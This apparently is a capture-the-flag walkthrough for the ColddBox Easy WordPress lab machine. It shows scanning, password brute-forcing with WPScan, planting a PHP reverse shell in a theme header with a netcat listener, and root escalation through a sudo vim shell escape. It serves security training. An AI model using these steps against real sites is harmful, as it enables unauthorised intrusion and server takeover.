📦Colddbox
ColddBox Easy is a Wordpress machine with an easy level of difficulty, highly recommended for beginners in the field.
1. Reconnaissance
Scanning the network to find vulnerable machine's IP
nmap -sn 192.168.10.0/24
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-17 10:06 IST
Nmap scan report for 192.168.10.1
Host is up (0.0032s latency).
MAC Address: 52:54:00:12:35:00 (QEMU virtual NIC)
Nmap scan report for 192.168.10.2
Host is up (0.0032s latency).
MAC Address: 52:54:00:12:35:00 (QEMU virtual NIC)
Nmap scan report for 192.168.10.3
Host is up (0.0018s latency).
MAC Address: 08:00:27:1C:76:C3 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.10.12
Host is up (0.0014s latency).
MAC Address: 08:00:27:1F:03:A5 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.10.11
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 2.07 secondsWe find the IP of the vulnerable machine to be
192.168.10.12
2. Scanning
2.1 Nmap
Using
nmapto find the open ports and their services
We find 2 open ports, tcp ports
80and4512with a web server and ssh running respectively
2.2 Directory Enumeration
Brute forcing directories using
gobusterto find any hidden directories
We find the directory wp-admin and enumerating further through
wappalyzerwe can conclude that it is a WordPress site.

3. Initial Foothold
3.1 WPScan
To enumerate the users we use
-eu
We get 4 potential usernames:
the cold in person
c0ldd
hugo
philip
Brute-forcing password using a word list with
-P
We get
c0ldd : 9876543210
Using these credentials, we can login to the wp-admin page and upload a php reverse shell to Appearance>Editor>template header where url is
http://192.168.10.12/wp-admin/theme-editor.php?file=header.php&theme=twentyfifteenUsing the reverse shell
/usr/share/webshells/php/php-reverse-shell.php,appending it to the header file template and updating it to use port 9001Starting
nc -lvnp 9001Navigating to the headers tab under appearance to trigger the reverse shell.
4. Privilege Escalation
4.1 wp-config.php
Stabilizing the shell using
python3 -c 'import pty;pty.spawn("/bin/bash")'We are the user www-data
Enumerating the current directory we find a
wp-config.phpfile in/var/www/html
We find the database to be MySQL with
cOldd : cybersecurityas login credentials
4.2 Escalation
c0ldd
Using the credentials to login as user
c0ldd
User.txt
Root
using
sudo -l, we find c0ldd can run these processes as root:
Use SUDO privilege escalation on
vimfrom GTFObins :vim -c ':!/bin/sh'
root.txt
Last updated